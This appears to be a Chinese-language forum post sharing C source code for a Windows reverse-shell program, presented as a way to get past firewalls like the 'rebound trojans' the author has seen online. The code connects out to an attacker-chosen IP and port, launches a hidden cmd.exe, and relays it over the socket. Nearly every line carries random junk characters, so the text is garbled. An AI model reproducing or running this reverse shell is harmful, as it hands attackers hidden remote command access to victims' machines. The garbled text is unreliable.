Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 B o%Sl  
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/* ============================== *c$UIg  
Rebound port in Windows NT mxpw4  
By wind,2006/7 '|Lv-7  
===============================*/ f|/ ,eP$  
#include B:cQsaty  
#include H,7!"!?@N  
F$:UvW@e1  
#pragma comment(lib,"wsock32.lib") JnqP`kYbTE  
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void OutputShell(); sint":1FC  
SOCKET sClient; 'w<^4/L Q  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^LXsU] R  
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void main(int argc,char **argv) 0~[M[T\  
{ Nm-E4N#'i  
WSADATA stWsaData; 0;OZ|;Z  
int nRet; )1GJ^h$l  
SOCKADDR_IN stSaiClient,stSaiServer; !\Cu J5U  
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if(argc != 3) utn,`v   
{ 3rJ LLYR  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,I]]52+?4  
return; tqpi{e  
} 
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4+p1`  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nYvkeT  
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stSaiClient.sin_family = AF_INET; _)YB
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stSaiClient.sin_port = htons(0); Tfv@oPu  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &%(SkL_]  
}w>UNGUMh  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) m*i,|{UZ  
{ Imclz4'8  
printf("Bind Socket Failed!\n"); JP^
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return; 5'w&M{{9  
} i3$G)W  
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stSaiServer.sin_family = AF_INET; vD/l`Ib:  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c]
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); J{XRltI+  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Ri::Ek3qu  
{ wM-H5\9n  
printf("Connect Error!"); ?zVE7;r4U  
return; J'WOqAnPZ  
} 1r*@1y<0"  
OutputShell(); VuK>lY&  
} gt~u/Z%  
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void OutputShell() ~[BGKqh  
{ WZTv  
char szBuff[1024]; '[_.mx|cd`  
SECURITY_ATTRIBUTES stSecurityAttributes; e~R_bBQ0  
OSVERSIONINFO stOsversionInfo; a6It1%a+  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; YZ<5-C  
STARTUPINFO stStartupInfo; k!WeE#"(  
char *szShell; 2$o\`^dy  
PROCESS_INFORMATION stProcessInformation; x>A[~s"|N  
unsigned long lBytesRead; m<*+^JN  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); WVp6/HS  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); NMrf I0tbG  
stSecurityAttributes.lpSecurityDescriptor = 0; "st+2#{  
stSecurityAttributes.bInheritHandle = TRUE; txX>zR*)  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |;p.!FO  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); iVmy|ewd  
8R(l~  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); hwi_=-SL  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pm[i#V<v  
stStartupInfo.wShowWindow = SW_HIDE; 66_=bd(9  
stStartupInfo.hStdInput = hReadPipe; /h]ru SI  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; iorQ/(  
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GetVersionEx(&stOsversionInfo); [W3sveqj&  
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switch(stOsversionInfo.dwPlatformId) {QOy' 8/  
{ Vk[M .=
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case 1: `v2Xp3o4f  
szShell = "command.com"; qIh9? |`U  
break; `ah"Q;d$  
default: L[`8 :}M  
szShell = "cmd.exe"; Q;nC #cg  
break;   
} $ma@z0%8}  
}"kF<gG1  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); D& &71X '  
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send(sClient,szMsg,77,0); ?@6Zv$vZ  
while(1) 'coY`B; 8  
{ 3RFU  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lJx5scN[  
if(lBytesRead) Wdj|RKw  
{ :j/sTO=  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (>lH=&%zj  
send(sClient,szBuff,lBytesRead,0); ^B7Ls{  
} =OTu8_ d0t  
else MvaX>n!o  
{ {*  w _*  
lBytesRead=recv(sClient,szBuff,1024,0); ETdN<}
m  
if(lBytesRead<=0) break; :$P1ps3B  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); '0I>  
} um( xZ6&m  
} O+=}x]q*y  
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return; 'UuHyC2Ha3  
}